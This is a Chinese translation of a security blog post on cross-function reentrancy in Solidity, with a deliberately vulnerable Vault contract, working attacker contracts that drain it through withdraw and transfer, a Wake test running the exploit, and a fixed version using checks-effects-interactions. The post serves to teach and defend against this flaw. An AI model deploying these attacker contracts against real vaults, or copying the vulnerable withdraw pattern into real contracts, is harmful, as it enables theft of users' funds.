本文介绍了跨函数重入攻击的原理、攻击示例以及防范方法。
跨函数重入攻击使用多个函数来执行攻击,当对单函数重入攻击采取不适当的缓解措施时,可能会发生这种情况。与单函数重入攻击相比,跨函数重入攻击更难发现漏洞,因为它们使用函数的组合。
本文回顾了跨函数重入攻击的工作原理、攻击示例以及如何预防跨函数重入攻击。
这个 智能合约 添加了 transfer
函数,用于在不使用 ETH 的情况下将用户的值转移给另一个用户。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract Vault is ReentrancyGuard {
mapping (address => uint) private balances;
function deposit() external payable nonReentrant {
balances[msg.sender] += msg.value;
}
function transfer(address to, uint amount) public {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw() public nonReentrant { // we can use noReentrant here.
uint amount = balances[msg.sender];
msg.sender.call{value: amount}("");
balances[msg.sender] = 0; // did not checked balance. just overwrite to 0.
}
}
这与单函数重入非常相似,但我们为 withdraw
和 deposit 函数设置了 Reentrancy Guard,因此无法在此代码上进行相同的攻击。但 transfer 函数没有 nonReentrant
。
问题在于,在用户可以调用 transfer 函数之前,状态更改尚未完成。例如,当用户调用 withdraw
函数时,它会进行外部调用并接收 ETH。然后,余额被转移到另一个地址。但是,在外部调用之后,余额仅设置为零。因此,对于同一用户,两个账户的 ETH 总余额实际上翻了一番。
调用 attack
函数后,
deposit
增加余额,为攻击做准备。withdraw
函数,它会对 Attacker
进行外部调用,并调用 receive
函数,并将攻击者存入的金额转移到 Attacker2
。transfer
并将余额从 Attacker2
转移到 Attacker
,现在余额的值与步骤 1.
相同,但 Attacker2
在之前的步骤中收到了 ETH。我们重复这些操作。
这些是攻击者合约。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";
contract Attacker {
Vault victim;
uint256 amount = 1 ether;
Attacker2 public attacker2;
constructor(Vault _victim) payable {
victim = Vault(_victim);
}
function setattacker2(address _attacker2) public {
attacker2 = Attacker2(_attacker2);
}
function attack() public payable {
uint256 value = address(this).balance;
victim.deposit{value: value}();
while(address(victim).balance >= amount) {
victim.withdraw();
attacker2.send( value , address(this));
}
}
/**
* @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2.
* 接收以太币。与 withdraw() 的金额相同,但我们可以将相同的金额转移到 attacker2。
* Because burn balance of attacker1 after this function.
* 因为在此函数之后,攻击者 1 的余额会消耗掉。
* @dev triggered by victim.withdraw()
* @dev 由 victim.withdraw() 触发
*/
receive() external payable {
victim.transfer(address(attacker2), msg.value);
}
}
contract Attacker2 {
uint256 amount = 1 ether;
Vault victim;
constructor(Vault _victim) {
victim = Vault(_victim);
}
function send(uint256 value, address attacker) public {
victim.transfer(attacker, value);
}
}
这是漏洞利用。
Attacker
需要知道 Attacker2
才能发送。Attacker2
可以是 EOA,我们使用了一个简单的合约,该合约只能发送,但为了指示。
from wake.testing import *
from pytypes.contracts.crossfunctionreentrancy.vault import Vault
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2
@default_chain.connect()
def test_default():
print("---------------------Cross Function Reentrancy---------------------")
victim = default_chain.accounts[0]
attacker = default_chain.accounts[1]
vault_contract = Vault.deploy(from_=victim)
vault_contract.deposit(from_=victim, value="10 ether")
attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")
attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)
attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
print("Vault balance : ", vault_contract.balance)
print("Attacker balance: ", attacker_contract.balance)
print("----------Attack----------")
attacker_contract.attack(from_=attacker)
print("Vault balance : ", vault_contract.balance)
print("Attacker balance: ", attacker_contract.balance)
这是 Wake 的输出。
我们可以看到 Vault 余额从 5 EHT 变为 0 ETH。攻击者余额从 1 ETH 变为 6 ETH。
这是跨函数重入。
有几种方法可以预防这种攻击。
与单函数可重入示例类似,最简单的预防方法是在状态更改的中间不执行不受信任的调用。
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
contract Vault {
mapping (address => uint) private balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function transfer(address to, uint amount) public {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw() public {
uint amount = balances[msg.sender];
balances[msg.sender] = 0; // change balance // 更改余额
msg.sender.call{value: amount}(""); // external call // 外部调用
}
}
虽然有很多其他方法可以防止它,例如 Reentrancy-Guard,但这仍然可能打开其他类型的重入漏洞,因此最好应用 CEI 模式。
重入攻击的主要问题和原因是,即使它在某个函数的过程中,该值也是可修改的,并且该值与它应该的值不同。我们可以用几种方法解决这个问题,但即使我们可以防止这些重入攻击,也可以使用另一种类型的重入攻击并加以利用。我们将在以后的博客中解释这些攻击。
我们有一个 重入示例 Github 存储库,其中列出了其他几种类型的重入攻击,其中包含特定于协议的重入漏洞利用和预防示例,包括指导性博客文章。
- 原文链接: ackee.xyz/blog/cross-fun...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!